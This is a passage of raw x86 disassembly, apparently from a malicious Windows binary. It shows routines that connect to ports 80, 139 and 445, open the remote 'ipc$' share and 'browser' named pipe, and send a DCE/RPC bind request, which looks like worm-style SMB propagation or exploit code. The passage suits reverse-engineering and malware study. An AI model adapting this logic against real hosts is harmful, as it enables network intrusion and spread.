Dest call __snprintf add eax, 90h push eax lea eax, [ebp+Dst] push eax push 164h lea eax, [ebp+Src] push offset aSvwfbA ; "SVWf" push eax call sub_40D335 xor ebx, ebx add esp, 30h cmp [ebp+Size], ebx jnz short loc_40DBAA xor eax, eax jmp loc_40DCB8 ; --------------------------------------------------------------------------- loc_40DBAA: ; CODE XREF: sub_40DB0C+95j mov [ebp+var_C], ebx loc_40DBAD: ; CODE XREF: sub_40DB0C+183j test ebx, ebx jnz loc_40DC95 push 6 push 1 push 2 call ds:dword_4F553C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40DC7D xor eax, eax lea edi, [ebp+var_1E] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_20], 2 call dword_4E30F8 ; htons mov [ebp+var_1E], ax lea eax, [ebp+arg_4] push eax call dword_4E3138 ; inet_addr mov [ebp+var_1C], eax lea eax, [ebp+var_20] push 10h push eax push esi call dword_4E30A0 ; connect cmp eax, 0FFFFFFFFh jz short loc_40DC72 cmp [ebp+arg_A0], 50h jnz short loc_40DC3A sub esp, 10h lea eax, [ebp+var_D] mov ecx, esp mov [ebp+var_24], esp push eax lea eax, [ebp+arg_4] push eax call sub_40DD15 push [ebp+Size] push [ebp+Src] push esi call sub_40DA4E add esp, 1Ch jmp short loc_40DC6F ; --------------------------------------------------------------------------- loc_40DC3A: ; CODE XREF: sub_40DB0C+106j cmp [ebp+arg_A0], 8Bh jnz short loc_40DC54 push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; int call sub_40D839 jmp short loc_40DC6C ; --------------------------------------------------------------------------- loc_40DC54: ; CODE XREF: sub_40DB0C+138j cmp [ebp+arg_A0], 1BDh jnz short loc_40DC72 push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; int call sub_40D75F loc_40DC6C: ; CODE XREF: sub_40DB0C+146j add esp, 0Ch loc_40DC6F: ; CODE XREF: sub_40DB0C+12Cj movzx ebx, al loc_40DC72: ; CODE XREF: sub_40DB0C+FDj ; sub_40DB0C+152j push esi call dword_4E3190 ; closesocket test ebx, ebx jnz short loc_40DC88 loc_40DC7D: ; CODE XREF: sub_40DB0C+BAj push 3E8h call ds:dword_4F534C ; Sleep loc_40DC88: ; CODE XREF: sub_40DB0C+16Fj inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_40DBAD loc_40DC95: ; CODE XREF: sub_40DB0C+A3j lea ecx, [ebp+Src] call sub_40D15A test ebx, ebx jz short loc_40DCB6 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_448228[eax] lea eax, dword_448228[eax] loc_40DCB6: ; CODE XREF: sub_40DB0C+193j mov eax, ebx loc_40DCB8: ; CODE XREF: sub_40DB0C+99j pop edi pop esi pop ebx leave retn sub_40DB0C endp ; =============== S U B R O U T I N E ======================================= sub_40DCBD proc near ; DATA XREF: .data:0043F008o call sub_40E2B4 jmp $+5 push offset nullsub_1 ; void (__cdecl *)() call _atexit pop ecx retn sub_40DCBD endp ; =============== S U B R O U T I N E ======================================= sub_40DCD3 proc near ; CODE XREF: sub_40D8D7+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40E055 mov eax, esi pop esi retn 4 sub_40DCD3 endp ; =============== S U B R O U T I N E ======================================= sub_40DCEB proc near ; CODE XREF: sub_40D8D7+152p ; sub_43A720+3Cp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push 0 mov al, [edi] mov [esi], al call sub_40E055 push ds:dword_43C480 mov ecx, esi push 0 push edi call sub_40DE66 mov eax, esi pop edi pop esi retn 4 sub_40DCEB endp ; =============== S U B R O U T I N E ======================================= sub_40DD15 proc near ; CODE XREF: sub_40DB0C+118p ; sub_43A6C0+27p ... Str = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40E055 push [esp+4+Str] ; Str mov ecx, esi call sub_40DF5C mov eax, esi pop esi retn 8 sub_40DD15 endp ; =============== S U B R O U T I N E ======================================= sub_40DD38 proc near ; CODE XREF: sub_40D8D7+161p ; sub_40DA4E+9Cp ... push 1 call sub_40E055 retn sub_40DD38 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40DD40(char *Str) sub_40DD40 proc near ; CODE XREF: sub_40D8D7+11Ep Src = dword ptr 4 push esi mov esi, ecx push [esp+4+Src] ; Str call sub_40DD5D pop ecx push eax ; Size mov ecx, esi push [esp+8+Src] ; Src call sub_40DDFC pop esi retn 4 sub_40DD40 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40DD5D(char *Str) sub_40DD5D proc near ; CODE XREF: sub_40DD40+7p ; sub_40DF5C+7p Str = dword ptr 4 push [esp+Str] ; Str call _strlen pop ecx retn sub_40DD5D endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40DD68(size_t Size,int) sub_40DD68 proc near ; CODE XREF: sub_40D8D7+107p ; sub_40D8D7+138p Size = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_43C480 push ebx mov ebx, [esp+4+Size] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40DD82 call sub_43A6C0 loc_40DD82: ; CODE XREF: sub_40DD68+13j test ebx, ebx jbe short loc_40DDB6 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40DFA9 test al, al jz short loc_40DDB6 lea eax, [esp+0Ch+arg_4] push eax ; int mov eax, [esi+4] add eax, [esi+8] push ebx ; Size push eax ; Dst call sub_40DDBE add esp, 0Ch mov ecx, esi push edi call sub_40DF79 loc_40DDB6: ; CODE XREF: sub_40DD68+1Cj ; sub_40DD68+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40DD68 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40DDBE(void *Dst,size_t Size,int) sub_40DDBE proc near ; CODE XREF: sub_40DD68+3Ep Dst = dword ptr 4 Size = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push [esp+Size] ; Size movsx eax, byte ptr [eax] push eax ; Val push [esp+8+Dst] ; Dst call _memset add esp, 0Ch retn sub_40DDBE endp ; =============== S U B R O U T I N E ======================================= sub_40DDD7 proc near ; CODE XREF: sub_40DA4E+59p ; sub_40DA4E+62p ... mov eax, [ecx+4] test eax, eax jnz short locret_40DDE3 call sub_40E04F locret_40DDE3: ; CODE XREF: sub_40DDD7+5j retn sub_40DDD7 endp ; =============== S U B R O U T I N E ======================================= sub_40DDE4 proc near ; CODE XREF: sub_40DA4E+32p ; sub_40DA4E+3Cp mov eax, [ecx+8] retn sub_40DDE4 endp ; =============== S U B R O U T I N E ======================================= sub_40DDE8 proc near ; CODE XREF: sub_40D8D7+33p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp [ecx+0Ch], eax jnb short locret_40DDF9 push 0 push eax call sub_40DFA9 locret_40DDF9: ; CODE XREF: sub_40DDE8+7j retn 4 sub_40DDE8 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40DDFC(void *Src,size_t Size) sub_40DDFC proc near ; CODE XREF: sub_40DD40+14p Src = dword ptr 4 Size = dword ptr 8 mov eax, ds:dword_43C480 push ebx mov ebx, [esp+4+Size] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40DE16 call sub_43A6C0 loc_40DE16: ; CODE XREF: sub_40DDFC+13j test ebx, ebx jbe short loc_40DE49 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40DFA9 test al, al jz short loc_40DE49 mov eax, [esi+4] push ebx ; Size push [esp+10h+Src] ; Src add eax, [esi+8] push eax ; Dst call sub_40DE51 add esp, 0Ch mov ecx, esi push edi call sub_40DF79 loc_40DE49: ; CODE XREF: sub_40DDFC+1Cj ; sub_40DDFC+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40DDFC endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40DE51(void *Dst,void *Src,size_t Size) sub_40DE51 proc near ; CODE XREF: sub_40DDFC+3Dp ; sub_40DE66+D9p ... Dst = dword ptr 4 Src = dword ptr 8 Size = dword ptr 0Ch push [esp+Size] ; Size push [esp+4+Src] ; Src push [esp+8+Dst] ; Dst call _memcpy add esp, 0Ch retn sub_40DE51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE66 proc near ; CODE XREF: sub_40DCEB+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi mov esi, ecx push edi mov ecx, ebx call sub_40DF58 cmp eax, [ebp+arg_4] jnb short loc_40DE82 call sub_43A9C0 loc_40DE82: ; CODE XREF: sub_40DE66+15j mov ecx, ebx call sub_40DF58 mov edi, eax mov eax, [ebp+arg_4] sub edi, eax cmp [ebp+arg_8], edi jnb short loc_40DE98 mov edi, [ebp+arg_8] loc_40DE98: ; CODE XREF: sub_40DE66+2Dj cmp esi, ebx jnz short loc_40DEBD push ds:dword_43C480 add edi, eax mov ecx, esi push edi call sub_40E0E5 push [ebp+arg_4] mov ecx, esi push 0 call sub_40E0E5 jmp loc_40DF4F ; --------------------------------------------------------------------------- loc_40DEBD: ; CODE XREF: sub_40DE66+34j test edi, edi jbe short loc_40DF22 mov ecx, ebx call sub_40DF58 cmp edi, eax jnz short loc_40DF22 mov ecx, ebx call sub_40DDD7 push eax mov ecx, esi call sub_40E23A cmp byte ptr [eax], 0FEh jnb short loc_40DF22 push ebx push esi call sub_40E29F pop ecx test al, al pop ecx jz short loc_40DF22 push 1 mov ecx, esi call sub_40E055 mov ecx, ebx call sub_40DDD7 mov ecx, ebx mov [esi+4], eax call sub_40DF58 mov ecx, ebx mov [esi+8], eax call sub_40E171 push dword ptr [esi+4] mov ecx, esi mov [esi+0Ch], eax call sub_40E23A inc byte ptr [eax] jmp short loc_40DF4F ; --------------------------------------------------------------------------- loc_40DF22: ; CODE XREF: sub_40DE66+59j ; sub_40DE66+64j ... push 1 push edi mov ecx, esi call sub_40DFA9 test al, al jz short loc_40DF4F push edi ; Size mov ecx, ebx call sub_40DDD7 add eax, [ebp+arg_4] push eax ; Src push dword ptr [esi+4] ; Dst call sub_40DE51 add esp, 0Ch mov ecx, esi push edi call sub_40DF79 loc_40DF4F: ; CODE XREF: sub_40DE66+52j ; sub_40DE66+BAj ... mov eax, esi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40DE66 endp ; =============== S U B R O U T I N E ======================================= sub_40DF58 proc near ; CODE XREF: sub_40DE66+Dp ; sub_40DE66+1Ep ... mov eax, [ecx+8] retn sub_40DF58 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40DF5C(char *Str) sub_40DF5C proc near ; CODE XREF: sub_40DD15+18p ; sub_40E24F+34p Src = dword ptr 4 push esi mov esi, ecx push [esp+4+Src] ; Str call sub_40DD5D pop ecx push eax ; Size mov ecx, esi push [esp+8+Src] ; Src call sub_40E0AF pop esi retn 4 sub_40DF5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF79 proc near ; CODE XREF: sub_40DD68+49p ; sub_40DDFC+48p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and [ebp+var_1], 0 mov [ecx+8], eax mov ecx, [ecx+4] lea edx, [ebp+var_1] add ecx, eax push edx push ecx call sub_40DF9C pop ecx pop ecx leave retn 4 sub_40DF79 endp ; =============== S U B R O U T I N E ======================================= sub_40DF9C proc near ; CODE XREF: sub_40DF79+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] mov al, [eax] mov [ecx], al retn sub_40DF9C endp ; =============== S U B R O U T I N E ======================================= sub_40DFA9 proc near ; CODE XREF: sub_40DD68+28p ; sub_40DDE8+Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi push edi mov esi, ecx call sub_40E15F mov edi, [esp+0Ch+arg_0] cmp eax, edi jnb short loc_40DFC0 call sub_43A6C0 loc_40DFC0: ; CODE XREF: sub_40DFA9+10j mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz short loc_40E000 push eax mov ecx, esi call sub_40E23A cmp [eax], bl jz short loc_40E000 push dword ptr [esi+4] mov ecx, esi call sub_40E23A cmp byte ptr [eax], 0FFh jz short loc_40E000 cmp edi, ebx jnz short loc_40E03F push dword ptr [esi+4] mov ecx, esi call sub_40E23A dec byte ptr [eax] push ebx loc_40DFF5: ; CODE XREF: sub_40DFA9+63j mov ecx, esi call sub_40E055 loc_40DFFC: ; CODE XREF: sub_40DFA9+68j ; sub_40DFA9+72j xor al, al jmp short loc_40E049 ; --------------------------------------------------------------------------- loc_40E000: ; CODE XREF: sub_40DFA9+1Ej ; sub_40DFA9+2Aj ... cmp edi, ebx jnz short loc_40E01D cmp [esp+0Ch+arg_4], bl jz short loc_40E00E push 1 jmp short loc_40DFF5 ; --------------------------------------------------------------------------- loc_40E00E: ; CODE XREF: sub_40DFA9+5Fj cmp [esi+4], ebx jz short loc_40DFFC push ebx mov ecx, esi call sub_40DF79 jmp short loc_40DFFC ; --------------------------------------------------------------------------- loc_40E01D: ; CODE XREF: sub_40DFA9+59j cmp [esp+0Ch+arg_4], bl jz short loc_40E03A mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40E02F cmp eax, edi jnb short loc_40E047 loc_40E02F: ; CODE XREF: sub_40DFA9+80j push 1 mov ecx, esi call sub_40E055 jmp short loc_40E03F ; --------------------------------------------------------------------------- loc_40E03A: ; CODE XREF: sub_40DFA9+78j cmp [esi+0Ch], edi jnb short loc_40E047 loc_40E03F: ; CODE XREF: sub_40DFA9+3Dj ; sub_40DFA9+8Fj push edi mov ecx, esi call sub_40E175 loc_40E047: ; CODE XREF: sub_40DFA9+84j ; sub_40DFA9+94j mov al, 1 loc_40E049: ; CODE XREF: sub_40DFA9+55j pop edi pop esi pop ebx retn 8 sub_40DFA9 endp ; =============== S U B R O U T I N E ======================================= sub_40E04F proc near ; CODE XREF: sub_40DDD7+7p mov eax, offset dword_43C484 retn sub_40E04F endp ; =============== S U B R O U T I N E ======================================= sub_40E055 proc near ; CODE XREF: sub_40DCD3+Dp ; sub_40DCEB+Ep ... arg_0 = byte ptr 4 push ebx xor ebx, ebx cmp [esp+4+arg_0], bl push esi mov esi, ecx jz short loc_40E0A1 mov eax, [esi+4] cmp eax, ebx jz short loc_40E0A1 push eax call sub_40E23A cmp [eax], bl jz short loc_40E08F push dword ptr [esi+4] mov ecx, esi call sub_40E23A cmp byte ptr [eax], 0FFh jz short loc_40E08F push dword ptr [esi+4] mov ecx, esi call sub_40E23A dec byte ptr [eax] jmp short loc_40E0A1 ; --------------------------------------------------------------------------- loc_40E08F: ; CODE XREF: sub_40E055+1Bj ; sub_40E055+2Aj mov eax, [esi+0Ch] mov ecx, esi inc eax inc eax push eax mov eax, [esi+4] dec eax push eax call unknown_libname_36 ; Microsoft VisualC 2-8/net runtime loc_40E0A1: ; CODE XREF: sub_40E055+Aj ; sub_40E055+11j ... mov [esi+4], ebx mov [esi+8], ebx mov [esi+0Ch], ebx pop esi pop ebx retn 4 sub_40E055 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40E0AF(void *Src,size_t Size) sub_40E0AF proc near ; CODE XREF: sub_40DF5C+14p Src = dword ptr 4 Size = dword ptr 8 push esi push 1 push [esp+8+Size] mov esi, ecx call sub_40DFA9 test al, al jz short loc_40E0DF push [esp+4+Size] ; Size push [esp+8+Src] ; Src push dword ptr [esi+4] ; Dst call sub_40DE51 add esp, 0Ch mov ecx, esi push [esp+4+Size] call sub_40DF79 loc_40E0DF: ; CODE XREF: sub_40E0AF+10j mov eax, esi pop esi retn 8 sub_40E0AF endp ; =============== S U B R O U T I N E ======================================= sub_40E0E5 proc near ; CODE XREF: sub_40DE66+41p ; sub_40DE66+4Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40E0F8 call sub_43A9C0 loc_40E0F8: ; CODE XREF: sub_40E0E5+Cj mov ecx, edi call sub_40E24F mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40E10E mov ebx, eax loc_40E10E: ; CODE XREF: sub_40E0E5+25j test ebx, ebx jbe short loc_40E142 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax ; Size lea eax, [ecx+ebx] push eax ; Src push ecx ; Dst call sub_40E14A mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40DFA9 test al, al jz short loc_40E142 push esi mov ecx, edi call sub_40DF79 loc_40E142: ; CODE XREF: sub_40E0E5+2Bj ; sub_40E0E5+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40E0E5 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40E14A(void *Dst,void *Src,size_t Size) sub_40E14A proc near ; CODE XREF: sub_40E0E5+3Ap Dst = dword ptr 4 Src = dword ptr 8 Size = dword ptr 0Ch push [esp+Size] ; Size push [esp+4+Src] ; Src push [esp+8+Dst] ; Dst call _memcpy_0 add esp, 0Ch retn sub_40E14A endp ; =============== S U B R O U T I N E ======================================= sub_40E15F proc near ; CODE XREF: sub_40DFA9+5p ; sub_40E175+1Ep call sub_40E29B cmp eax, 2 ja short loc_40E16D push 1 pop eax retn ; --------------------------------------------------------------------------- loc_40E16D: ; CODE XREF: sub_40E15F+8j add eax, 0FFFFFFFEh retn sub_40E15F endp ; =============== S U B R O U T I N E ======================================= sub_40E171 proc near ; CODE XREF: sub_40DE66+A6p mov eax, [ecx+0Ch] retn sub_40E171 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E175 proc near ; CODE XREF: sub_40DFA9+99p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_43BAB4 call __EH_prolog sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, ecx mov [ebp+var_10], esp mov [ebp+var_14], esi or edi, 1Fh call sub_40E15F cmp eax, edi jnb short loc_40E19F mov edi, [ebp+arg_0] loc_40E19F: ; CODE XREF: sub_40E175+25j and [ebp+var_4], 0 lea eax, [edi+2] push 0 push eax mov ecx, esi call sub_40E28B mov [ebp+arg_0], eax jmp short loc_40E1D8 ; --------------------------------------------------------------------------- loc_40E1B5: ; DATA XREF: .rdata:0043E3ECo mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [ebp+var_18], eax add eax, 2 push 0 push eax call sub_40E28B mov [ebp+arg_0], eax mov eax, offset loc_40E1D2 retn ; --------------------------------------------------------------------------- loc_40E1D2: ; DATA XREF: sub_40E175+57o mov esi, [ebp+var_14] mov edi, [ebp+var_18] loc_40E1D8: ; CODE XREF: sub_40E175+3Ej mov eax, [esi+8] or [ebp+var_4], 0FFFFFFFFh test eax, eax jbe short loc_40E1FA cmp eax, edi jbe short loc_40E1E9 mov eax, edi loc_40E1E9: ; CODE XREF: sub_40E175+70j push eax ; Size mov eax, [ebp+arg_0] push dword ptr [esi+4] ; Src inc eax push eax ; Dst call sub_40DE51 add esp, 0Ch loc_40E1FA: ; CODE XREF: sub_40E175+6Cj mov ebx, [esi+8] push 1 mov ecx, esi call sub_40E055 mov eax, [ebp+arg_0] mov ecx, esi inc eax push eax mov [esi+4], eax call sub_40E23A and byte ptr [eax], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40E221 mov edi, ebx loc_40E221: ; CODE XREF: sub_40E175+A8j push edi mov ecx, esi call sub_40DF79 mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40E175 endp ; =============== S U B R O U T I N E ======================================= sub_40E23A proc near ; CODE XREF: sub_40DE66+70p ; sub_40DE66+B3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax retn 4 sub_40E23A endp ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_36. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40E24F proc near ; CODE XREF: sub_40E0E5+15p push esi mov esi, ecx mov eax, [esi+4] test eax, eax jz short loc_40E289 push eax call sub_40E23A cmp byte ptr [eax], 0 jz short loc_40E289 push dword ptr [esi+4] mov ecx, esi call sub_40E23A cmp byte ptr [eax], 0FFh jz short loc_40E289 push edi mov edi, [esi+4] push 1 mov ecx, esi call sub_40E055 push edi ; Str mov ecx, esi call sub_40DF5C pop edi loc_40E289: ; CODE XREF: sub_40E24F+8j ; sub_40E24F+13j ... pop esi retn sub_40E24F endp ; =============== S U B R O U T I N E ======================================= sub_40E28B proc near ; CODE XREF: sub_40E175+36p ; sub_40E175+4Fp arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40E2A2 pop ecx pop ecx retn 8 sub_40E28B endp ; =============== S U B R O U T I N E ======================================= sub_40E29B proc near ; CODE XREF: sub_40E15Fp or eax, 0FFFFFFFFh retn sub_40E29B endp ; =============== S U B R O U T I N E ======================================= sub_40E29F proc near ; CODE XREF: sub_40DE66+7Cp mov al, 1 retn sub_40E29F endp ; =============== S U B R O U T I N E ======================================= sub_40E2A2 proc near ; CODE XREF: sub_40E28B+6p arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40E2AC xor eax, eax loc_40E2AC: ; CODE XREF: sub_40E2A2+6j push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx retn sub_40E2A2 endp ; =============== S U B R O U T I N E ======================================= sub_40E2B4 proc near ; CODE XREF: sub_40DCBDp ; unknown_libname_35+3p test byte_4F38AC, 1 jnz short locret_40E2C4 or byte_4F38AC, 1 locret_40E2C4: ; CODE XREF: sub_40E2B4+7j retn sub_40E2B4 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E2C6 proc near ; DATA XREF: .data:0043F00Co jmp $+5 sub_40E2C6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E2CB proc near mov eax, dword_4490F8 add eax, 6 mov dword_4E5E34, eax retn sub_40E2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40E2D9(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char) sub_40E2D9 proc near ; CODE XREF: sub_40E2D9+D0p ; sub_40E3C7+474p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h Size = dword ptr 1Ch Src = dword ptr 24h Memory = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40E2ED or [ebp+arg_7], 1 jmp short loc_40E2F1 ; --------------------------------------------------------------------------- loc_40E2ED: ; CODE XREF: sub_40E2D9+Cj and [ebp+arg_7], 0FEh loc_40E2F1: ; CODE XREF: sub_40E2D9+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+Memory] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40E315 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+Size], ebx mov [ebp+arg_C], ax jmp short loc_40E327 ; --------------------------------------------------------------------------- loc_40E315: ; CODE XREF: sub_40E2D9+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+Size], eax mov [ebp+arg_2B], 1 loc_40E327: ; CODE XREF: sub_40E2D9+3Aj movzx eax, [ebp+arg_C] push eax ; Size mov [ebp+var_4], eax call _malloc test eax, eax pop ecx mov [ebp+Memory], eax jz loc_40E3C0 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+Size] mov esi, [ebp+Src] push edi ; Size add eax, 18h push esi ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+Memory] push [ebp+arg_0] call ds:dword_4F53B4 ; WriteFile test eax, eax jz short loc_40E3B7 mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40E3B7 push [ebp+Memory] ; Memory call _free cmp [ebp+arg_2B], 0 pop ecx jz short loc_40E3B3 push 0 ; char sub ebx, edi push [ebp+arg_24] ; int add edi, esi lea esi, [ebp+arg_4] push ebx ; Memory push edi ; Src sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] ; int rep movsd call sub_40E2D9 add esp, 2Ch jmp short loc_40E3C2 ; --------------------------------------------------------------------------- loc_40E3B3: ; CODE XREF: sub_40E2D9+B3j mov al, 1 jmp short loc_40E3C2 ; --------------------------------------------------------------------------- loc_40E3B7: ; CODE XREF: sub_40E2D9+9Cj ; sub_40E2D9+A4j push [ebp+Memory] ; Memory call _free pop ecx loc_40E3C0: ; CODE XREF: sub_40E2D9+61j xor al, al loc_40E3C2: ; CODE XREF: sub_40E2D9+D8j ; sub_40E2D9+DCj pop edi pop esi pop ebx leave retn sub_40E2D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40E3C7(char *Size,void *Memory) sub_40E3C7 proc near ; CODE XREF: sub_40E9BD+Bp var_60F0 = qword ptr -60F0h var_60DC = byte ptr -60DCh var_40DC = byte ptr -40DCh Dest = byte ptr -20DCh Dst = byte ptr -0DCh var_C8 = dword ptr -0C8h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = byte ptr -0B6h var_B5 = byte ptr -0B5h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = dword ptr -0ACh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = word ptr -9Ch var_9A = byte ptr -9Ah var_98 = byte ptr -98h var_88 = dword ptr -88h var_84 = byte ptr -84h var_74 = dword ptr -74h Src = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 Size = dword ptr 8 Memory = dword ptr 0Ch push ebp mov ebp, esp mov eax, 60DCh call __alloca_probe push ebx push esi push edi push offset a__6 ; "." push [ebp+Size] ; Str1 call __strcmpi pop ecx xor ebx, ebx test eax, eax pop ecx jz short loc_40E43D push [ebp+Size] mov esi, 2000h lea eax, [ebp+Dest] push offset aSIpc ; "\\\\%s\\ipc$" push esi ; Count push eax ; Dest call __snprintf push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 1Ch lea eax, [ebp+Dest] mov [ebp+var_C8], eax lea eax, [ebp+Dst] push ebx push offset dword_4E5E3C push offset dword_4E5E40 push eax call sub_43AB96 jmp short loc_40E442 ; --------------------------------------------------------------------------- loc_40E43D: ; CODE XREF: sub_40E3C7+23j mov esi, 2000h loc_40E442: ; CODE XREF: sub_40E3C7+74j push [ebp+Size] lea eax, [ebp+var_40DC] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call ds:dword_4F53C0 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40E486 loc_40E47F: ; CODE XREF: sub_40E3C7+197j ; sub_40E3C7+36Dj ... xor al, al jmp loc_40E8CA ; --------------------------------------------------------------------------- loc_40E486: ; CODE XREF: sub_40E3C7+B6j push 48h ; Size lea eax, [ebp+var_B8] push ebx ; Val push eax ; Dst call _memset push 10h mov [ebp+var_B8], 5 pop eax mov [ebp+var_B7], bl push 1 mov [ebp+var_B4], eax pop edi mov [ebp+var_B6], 0Bh push eax ; Size lea eax, [ebp+var_98] push offset dword_449154 ; Src push eax ; Dst mov [ebp+var_B5], 3 mov [ebp+var_B0], 48h mov [ebp+var_AE], bx mov [ebp+var_AC], ebx mov [ebp+var_A8], 10B8h mov [ebp+var_A6], 10B8h mov [ebp+var_A4], ebx mov [ebp+var_A0], edi mov [ebp+var_9C], bx mov [ebp+var_9A], 1 call _memcpy push 10h ; Size lea eax, [ebp+var_84] push offset dword_449168 ; Src push eax ; Dst mov [ebp+var_88], 3 call _memcpy add esp, 24h lea eax, [ebp+var_BC] mov [ebp+var_74], 2 push ebx push eax lea eax, [ebp+var_B8] push 48h push eax push [ebp+var_4] call ds:dword_4F53B4 ; WriteFile test eax, eax jnz short loc_40E563 loc_40E555: ; CODE XREF: 